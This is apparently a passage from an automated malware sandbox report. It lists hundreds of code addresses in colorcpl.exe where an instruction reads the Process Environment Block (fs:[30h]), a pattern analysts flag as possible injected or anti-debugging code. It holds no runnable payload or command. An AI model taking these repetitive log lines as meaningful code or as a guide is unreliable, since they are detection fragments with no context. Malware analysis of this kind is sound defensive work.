Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A2349 mov eax, dword ptr fs:[00000030h] 10_2_227A2349
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F8324 mov eax, dword ptr fs:[00000030h] 10_2_227F8324
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F8324 mov ecx, dword ptr fs:[00000030h] 10_2_227F8324
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F8324 mov eax, dword ptr fs:[00000030h] 10_2_227F8324
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F8324 mov eax, dword ptr fs:[00000030h] 10_2_227F8324
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271C310 mov ecx, dword ptr fs:[00000030h] 10_2_2271C310
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22740310 mov ecx, dword ptr fs:[00000030h] 10_2_22740310
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A30B mov eax, dword ptr fs:[00000030h] 10_2_2275A30B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A30B mov eax, dword ptr fs:[00000030h] 10_2_2275A30B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A30B mov eax, dword ptr fs:[00000030h] 10_2_2275A30B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E3F0 mov eax, dword ptr fs:[00000030h] 10_2_2273E3F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E3F0 mov eax, dword ptr fs:[00000030h] 10_2_2273E3F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E3F0 mov eax, dword ptr fs:[00000030h] 10_2_2273E3F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227563FF mov eax, dword ptr fs:[00000030h] 10_2_227563FF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227303E9 mov eax, dword ptr fs:[00000030h] 10_2_227303E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE3DB mov eax, dword ptr fs:[00000030h] 10_2_227CE3DB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE3DB mov eax, dword ptr fs:[00000030h] 10_2_227CE3DB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE3DB mov ecx, dword ptr fs:[00000030h] 10_2_227CE3DB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE3DB mov eax, dword ptr fs:[00000030h] 10_2_227CE3DB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C43D4 mov eax, dword ptr fs:[00000030h] 10_2_227C43D4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C43D4 mov eax, dword ptr fs:[00000030h] 10_2_227C43D4
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DC3CD mov eax, dword ptr fs:[00000030h] 10_2_227DC3CD
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272A3C0 mov eax, dword ptr fs:[00000030h] 10_2_2272A3C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227283C0 mov eax, dword ptr fs:[00000030h] 10_2_227283C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227283C0 mov eax, dword ptr fs:[00000030h] 10_2_227283C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227283C0 mov eax, dword ptr fs:[00000030h] 10_2_227283C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227283C0 mov eax, dword ptr fs:[00000030h] 10_2_227283C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A63C0 mov eax, dword ptr fs:[00000030h] 10_2_227A63C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718397 mov eax, dword ptr fs:[00000030h] 10_2_22718397
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718397 mov eax, dword ptr fs:[00000030h] 10_2_22718397
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22718397 mov eax, dword ptr fs:[00000030h] 10_2_22718397
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E388 mov eax, dword ptr fs:[00000030h] 10_2_2271E388
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E388 mov eax, dword ptr fs:[00000030h] 10_2_2271E388
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E388 mov eax, dword ptr fs:[00000030h] 10_2_2271E388
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274438F mov eax, dword ptr fs:[00000030h] 10_2_2274438F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274438F mov eax, dword ptr fs:[00000030h] 10_2_2274438F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274C073 mov eax, dword ptr fs:[00000030h] 10_2_2274C073
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22722050 mov eax, dword ptr fs:[00000030h] 10_2_22722050
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6050 mov eax, dword ptr fs:[00000030h] 10_2_227A6050
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B6030 mov eax, dword ptr fs:[00000030h] 10_2_227B6030
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A020 mov eax, dword ptr fs:[00000030h] 10_2_2271A020
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271C020 mov eax, dword ptr fs:[00000030h] 10_2_2271C020
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E016 mov eax, dword ptr fs:[00000030h] 10_2_2273E016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E016 mov eax, dword ptr fs:[00000030h] 10_2_2273E016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E016 mov eax, dword ptr fs:[00000030h] 10_2_2273E016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E016 mov eax, dword ptr fs:[00000030h] 10_2_2273E016
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A4000 mov ecx, dword ptr fs:[00000030h] 10_2_227A4000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C2000 mov eax, dword ptr fs:[00000030h] 10_2_227C2000
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271C0F0 mov eax, dword ptr fs:[00000030h] 10_2_2271C0F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227620F0 mov ecx, dword ptr fs:[00000030h] 10_2_227620F0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A0E3 mov ecx, dword ptr fs:[00000030h] 10_2_2271A0E3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A60E0 mov eax, dword ptr fs:[00000030h] 10_2_227A60E0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227280E9 mov eax, dword ptr fs:[00000030h] 10_2_227280E9
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A20DE mov eax, dword ptr fs:[00000030h] 10_2_227A20DE
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E60B8 mov eax, dword ptr fs:[00000030h] 10_2_227E60B8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E60B8 mov ecx, dword ptr fs:[00000030h] 10_2_227E60B8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227180A0 mov eax, dword ptr fs:[00000030h] 10_2_227180A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B80A8 mov eax, dword ptr fs:[00000030h] 10_2_227B80A8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272208A mov eax, dword ptr fs:[00000030h] 10_2_2272208A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4164 mov eax, dword ptr fs:[00000030h] 10_2_227F4164
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F4164 mov eax, dword ptr fs:[00000030h] 10_2_227F4164
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B8158 mov eax, dword ptr fs:[00000030h] 10_2_227B8158
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726154 mov eax, dword ptr fs:[00000030h] 10_2_22726154
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22726154 mov eax, dword ptr fs:[00000030h] 10_2_22726154
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271C156 mov eax, dword ptr fs:[00000030h] 10_2_2271C156
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B4144 mov eax, dword ptr fs:[00000030h] 10_2_227B4144
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B4144 mov eax, dword ptr fs:[00000030h] 10_2_227B4144
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B4144 mov ecx, dword ptr fs:[00000030h] 10_2_227B4144
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B4144 mov eax, dword ptr fs:[00000030h] 10_2_227B4144
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227B4144 mov eax, dword ptr fs:[00000030h] 10_2_227B4144
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22750124 mov eax, dword ptr fs:[00000030h] 10_2_22750124
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CA118 mov ecx, dword ptr fs:[00000030h] 10_2_227CA118
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CA118 mov eax, dword ptr fs:[00000030h] 10_2_227CA118
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CA118 mov eax, dword ptr fs:[00000030h] 10_2_227CA118
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CA118 mov eax, dword ptr fs:[00000030h] 10_2_227CA118
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E0115 mov eax, dword ptr fs:[00000030h] 10_2_227E0115
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov ecx, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov ecx, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov ecx, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov eax, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227CE10E mov ecx, dword ptr fs:[00000030h] 10_2_227CE10E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227501F8 mov eax, dword ptr fs:[00000030h] 10_2_227501F8
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227F61E5 mov eax, dword ptr fs:[00000030h] 10_2_227F61E5
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E1D0 mov eax, dword ptr fs:[00000030h] 10_2_2279E1D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E1D0 mov eax, dword ptr fs:[00000030h] 10_2_2279E1D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E1D0 mov ecx, dword ptr fs:[00000030h] 10_2_2279E1D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E1D0 mov eax, dword ptr fs:[00000030h] 10_2_2279E1D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E1D0 mov eax, dword ptr fs:[00000030h] 10_2_2279E1D0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E61C3 mov eax, dword ptr fs:[00000030h] 10_2_227E61C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E61C3 mov eax, dword ptr fs:[00000030h] 10_2_227E61C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A019F mov eax, dword ptr fs:[00000030h] 10_2_227A019F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A019F mov eax, dword ptr fs:[00000030h] 10_2_227A019F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A019F mov eax, dword ptr fs:[00000030h] 10_2_227A019F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A019F mov eax, dword ptr fs:[00000030h] 10_2_227A019F
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A197 mov eax, dword ptr fs:[00000030h] 10_2_2271A197
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A197 mov eax, dword ptr fs:[00000030h] 10_2_2271A197
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271A197 mov eax, dword ptr fs:[00000030h] 10_2_2271A197
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22760185 mov eax, dword ptr fs:[00000030h] 10_2_22760185
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DC188 mov eax, dword ptr fs:[00000030h] 10_2_227DC188
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DC188 mov eax, dword ptr fs:[00000030h] 10_2_227DC188
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C4180 mov eax, dword ptr fs:[00000030h] 10_2_227C4180
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C4180 mov eax, dword ptr fs:[00000030h] 10_2_227C4180
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22752674 mov eax, dword ptr fs:[00000030h] 10_2_22752674
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E866E mov eax, dword ptr fs:[00000030h] 10_2_227E866E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227E866E mov eax, dword ptr fs:[00000030h] 10_2_227E866E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A660 mov eax, dword ptr fs:[00000030h] 10_2_2275A660
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A660 mov eax, dword ptr fs:[00000030h] 10_2_2275A660
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273C640 mov eax, dword ptr fs:[00000030h] 10_2_2273C640
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273E627 mov eax, dword ptr fs:[00000030h] 10_2_2273E627
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22756620 mov eax, dword ptr fs:[00000030h] 10_2_22756620
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22758620 mov eax, dword ptr fs:[00000030h] 10_2_22758620
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272262C mov eax, dword ptr fs:[00000030h] 10_2_2272262C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762619 mov eax, dword ptr fs:[00000030h] 10_2_22762619
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E609 mov eax, dword ptr fs:[00000030h] 10_2_2279E609
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2273260B mov eax, dword ptr fs:[00000030h] 10_2_2273260B
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E6F2 mov eax, dword ptr fs:[00000030h] 10_2_2279E6F2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E6F2 mov eax, dword ptr fs:[00000030h] 10_2_2279E6F2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E6F2 mov eax, dword ptr fs:[00000030h] 10_2_2279E6F2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279E6F2 mov eax, dword ptr fs:[00000030h] 10_2_2279E6F2
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A06F1 mov eax, dword ptr fs:[00000030h] 10_2_227A06F1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A06F1 mov eax, dword ptr fs:[00000030h] 10_2_227A06F1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A6C7 mov ebx, dword ptr fs:[00000030h] 10_2_2275A6C7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A6C7 mov eax, dword ptr fs:[00000030h] 10_2_2275A6C7
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227566B0 mov eax, dword ptr fs:[00000030h] 10_2_227566B0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C6A6 mov eax, dword ptr fs:[00000030h] 10_2_2275C6A6
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724690 mov eax, dword ptr fs:[00000030h] 10_2_22724690
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22724690 mov eax, dword ptr fs:[00000030h] 10_2_22724690
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22728770 mov eax, dword ptr fs:[00000030h] 10_2_22728770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22730770 mov eax, dword ptr fs:[00000030h] 10_2_22730770
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720750 mov eax, dword ptr fs:[00000030h] 10_2_22720750
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762750 mov eax, dword ptr fs:[00000030h] 10_2_22762750
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22762750 mov eax, dword ptr fs:[00000030h] 10_2_22762750
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AE75D mov eax, dword ptr fs:[00000030h] 10_2_227AE75D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A4755 mov eax, dword ptr fs:[00000030h] 10_2_227A4755
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275674D mov esi, dword ptr fs:[00000030h] 10_2_2275674D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275674D mov eax, dword ptr fs:[00000030h] 10_2_2275674D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275674D mov eax, dword ptr fs:[00000030h] 10_2_2275674D
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275273C mov eax, dword ptr fs:[00000030h] 10_2_2275273C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275273C mov ecx, dword ptr fs:[00000030h] 10_2_2275273C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275273C mov eax, dword ptr fs:[00000030h] 10_2_2275273C
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2279C730 mov eax, dword ptr fs:[00000030h] 10_2_2279C730
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C720 mov eax, dword ptr fs:[00000030h] 10_2_2275C720
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C720 mov eax, dword ptr fs:[00000030h] 10_2_2275C720
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22720710 mov eax, dword ptr fs:[00000030h] 10_2_22720710
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_22750710 mov eax, dword ptr fs:[00000030h] 10_2_22750710
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275C700 mov eax, dword ptr fs:[00000030h] 10_2_2275C700
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227247FB mov eax, dword ptr fs:[00000030h] 10_2_227247FB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227247FB mov eax, dword ptr fs:[00000030h] 10_2_227247FB
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227427ED mov eax, dword ptr fs:[00000030h] 10_2_227427ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227427ED mov eax, dword ptr fs:[00000030h] 10_2_227427ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227427ED mov eax, dword ptr fs:[00000030h] 10_2_227427ED
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AE7E1 mov eax, dword ptr fs:[00000030h] 10_2_227AE7E1
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2272C7C0 mov eax, dword ptr fs:[00000030h] 10_2_2272C7C0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A07C3 mov eax, dword ptr fs:[00000030h] 10_2_227A07C3
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227207AF mov eax, dword ptr fs:[00000030h] 10_2_227207AF
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227D47A0 mov eax, dword ptr fs:[00000030h] 10_2_227D47A0
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227C678E mov eax, dword ptr fs:[00000030h] 10_2_227C678E
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274A470 mov eax, dword ptr fs:[00000030h] 10_2_2274A470
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274A470 mov eax, dword ptr fs:[00000030h] 10_2_2274A470
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274A470 mov eax, dword ptr fs:[00000030h] 10_2_2274A470
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227AC460 mov ecx, dword ptr fs:[00000030h] 10_2_227AC460
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227DA456 mov eax, dword ptr fs:[00000030h] 10_2_227DA456
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2274245A mov eax, dword ptr fs:[00000030h] 10_2_2274245A
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275E443 mov eax, dword ptr fs:[00000030h] 10_2_2275E443
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2275A430 mov eax, dword ptr fs:[00000030h] 10_2_2275A430
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E420 mov eax, dword ptr fs:[00000030h] 10_2_2271E420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E420 mov eax, dword ptr fs:[00000030h] 10_2_2271E420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271E420 mov eax, dword ptr fs:[00000030h] 10_2_2271E420
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_2271C427 mov eax, dword ptr fs:[00000030h] 10_2_2271C427
Source: C:\Windows\SysWOW64\colorcpl.exe Code function: 10_2_227A6420 mov eax, dword ptr fs:[00000030h] 10_2_227A6420
